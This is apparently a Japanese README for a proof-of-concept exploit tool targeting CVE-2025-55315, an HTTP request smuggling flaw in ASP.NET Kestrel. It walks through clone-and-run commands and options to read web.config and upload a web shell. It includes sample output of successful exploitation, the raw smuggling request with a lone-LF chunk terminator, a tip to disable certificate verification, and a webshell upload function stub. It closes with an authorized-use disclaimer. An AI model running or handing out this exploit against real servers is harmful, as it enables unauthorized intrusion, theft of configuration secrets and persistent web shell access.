# Python 3.7 以上
python3 --version

# 外部依存関係なし - 標準ライブラリのみ使用

# ツールをクローンまたはダウンロード
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit

# 実行可能にする
chmod +x cve_2025_55315_PoC.py

python3 cve_2025_55315_PoC.py -t target.com

python3 cve_2025_55315_PoC.py -t target.com -e /api/login

python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt

python3 cve_2025_55315_PoC.py \
  -t target.com \
  --read-config \
  --upload-shell \
  -v \
  -o full_report.txt

python3 cve_2025_55315_PoC.py -t api.mycompany.com

python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt

python3 cve_2025_55315_PoC.py \
  -t api.mycompany.com \
  -e /api/payment/process \
  -e /api/admin/users \
  -e /api/internal/config \
  -o critical_endpoints.txt

python3 cve_2025_55315_PoC.py \
  -t internal-api.local \
  -p 8080 \
  --no-ssl

usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
                                  [--no-ssl] [--read-config] [--upload-shell]
                                  [-o OUTPUT] [-v] [--timeout TIMEOUT]

必須引数:
  -t, --target         ターゲットのホスト名または URL (例: target.com)

オプション引数:
  -p, --port           ポート番号 (デフォルト: SSL の場合は 443、非 SSL の場合は 80)
  -e, --endpoint       テストする特定のエンドポイント (複数回使用可能)
  --no-ssl             SSL/HTTPS を無効にする (HTTP を使用)
  --read-config        web.config ファイルの読み取りを試みる
  --upload-shell       Web シェルのアップロードを試みる (確認が必要)
  -o, --output         レポートをファイルに保存
  -v, --verbose        詳細出力を有効にする
  --timeout            ソケットタイムアウト (秒) (デフォルト: 10)
  -h, --help           ヘルプメッセージを表示

Target: old-api.company.com:443
Vulnerable: YES - CRITICAL

--- Server Information ---
  server: Kestrel/8.0.15
  kestrel_detected: True
  http_version: 1.1

--- VULNERABLE ENDPOINTS (2) ---
  ✗ /api/login
    Details: Request smuggling successful - multiple responses
  ✗ /api/health
    Details: Request smuggling successful - multiple responses

--- SUCCESSFUL EXPLOITS ---
  ✓ web.config_read via /api/login

Target: new-api.company.com:443
Vulnerable: NO - SECURE

--- Server Information ---
  server: Kestrel/9.0.10
  kestrel_detected: True
  http_version: 1.1

[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)

✓ No vulnerable endpoints found - target may be patched

POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

2;\n          ← 脆弱性: \r\n の代わりに単独の \n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1    ← これが別のリクエストになる
Host: target.com

[ERROR] Connection failed: [Errno 111] Connection refused

[ERROR] Connection failed: certificate verify failed

export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com

[WARNING] No response - possible timeout

[WARNING] Upload blocked (forbidden/method not allowed)

COMMON_ENDPOINTS = [
    '/your/custom/endpoint',
    '/api/myapp/admin',
    # ここにエンドポイントを追加
]

def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
                   shell_content: str = None):
    if not shell_content:
        shell_content = '''
        <!-- ここにカスタム ASPX Web シェル -->
        '''

このツールは「現状のまま」、教育目的および許可された
セキュリティテスト目的でのみ提供されます。

著作者は:
❌ 違法行為を推奨しません
❌ 誤用について責任を負いません
❌ いかなる損害についても責任を負いません
❌ 法的アドバイスを提供しません

このツールを使用することにより、お客様は以下に同意します:
✅ 許可されたシステムでのみ使用すること
✅ 完全な法的責任を受け入れること
✅ すべての該当する法律を遵守すること
✅ 倫理的なハッキングの原則に従うこと

無断使用は固く禁止されており、違法です!

╔═════════════════════════════════════════════════════════════╗
║                                                             ║
║  このツールを責任を持って合法的に使用してください!                ║
║                                                             ║
║  コンピュータシステムへの不正アクセスは犯罪です。                  ║
║  テストを実行する前に必ず書面による許可を取得してください。          ║
║  責任ある開示の実践に従ってください。                            ║
║                                                             ║
║  楽しい (合法的な) ハッキングを!                               ║
║                                                             ║
╚═════════════════════════════════════════════════════════════╝